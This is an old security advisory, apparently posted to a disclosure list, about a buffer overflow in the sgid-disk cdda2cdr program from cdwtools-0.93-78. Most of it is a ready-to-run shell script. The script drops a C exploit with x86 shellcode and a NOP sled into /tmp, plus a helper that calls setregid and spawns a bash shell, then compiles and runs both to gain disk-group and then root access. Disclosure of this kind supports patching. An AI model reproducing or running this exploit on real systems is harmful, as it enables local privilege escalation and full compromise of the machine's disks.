cdda2cdr_bof.txt

`Greetings,  
  
There is a buffer overflow vulnerability in cdda2cdr distributed with (at  
least) package cdwtools-0.93-78. This program is sgid disk by default and  
thus any malicious user who gains disk privs will have r/w access to your  
entire hard drive(s) in the form of /dev/hd*. This is obviously a quick root  
compromise. Fixed packages will be available soon from various vendors  
(probably by the time you read this).  
  
Note that this particular overflow does not affect cdda2wav.  
  
Brock Tellier  
UNIX Systems Administrator  
  
--- cdda2x.sh ---  
#! /bin/sh  
#  
# Shell script for Linux x86 cdda2cdr exploit  
# Brock Tellier [email protected]  
#  
  
cat > /tmp/cdda2x.c <<EOF  
  
/**  
** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)  
  
** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>  
**   
** Brock Tellier [email protected]   
**/  
  
  
#include <stdlib.h>  
#include <stdio.h>  
  
char exec[]= /* Generic Linux x86 running our /tmp program */  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/tmp/cd";  
  
  
  
#define LEN 500  
#define NOP 0x90  
  
unsigned long get_sp(void) {  
  
__asm__("movl %esp, %eax");  
  
}  
  
  
void main(int argc, char *argv[]) {  
  
int offset=0;  
int i;  
int buflen = LEN;  
long int addr;  
char buf[LEN];  
  
if(argc > 3) {  
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);  
exit(0);  
}  
else if (argc == 2){  
offset=atoi(argv[1]);  
  
}  
else if (argc == 3) {  
offset=atoi(argv[1]);  
buflen=atoi(argv[2]);  
  
}  
else {  
offset=500;  
buflen=500;  
  
}  
  
  
addr=get_sp();  
  
fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");  
fprintf(stderr, "Brock Tellier [email protected]\n");  
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);  
  
memset(buf,NOP,buflen);  
memcpy(buf+(buflen/2),exec,strlen(exec));  
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)  
*(int *)&buf[i]=addr+offset;  
  
execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);  
  
  
/*  
for (i=0; i < strlen(buf); i++) putchar(buf[i]);  
*/  
  
}  
  
EOF  
  
cat > /tmp/cd.c <<EOF  
void main() {   
setregid(getegid(), getegid());  
system("/bin/bash");  
}  
EOF  
  
gcc -o /tmp/cd /tmp/cd.c  
gcc -o /tmp/cdda2x /tmp/cdda2x.c  
echo "Note that gid=6 leads to easy root access.."  
/tmp/cdda2x  
  
  
-------  
  
____________________________________________________________________  
Get free email and a permanent address at http://www.netaddress.com/?N=1  
`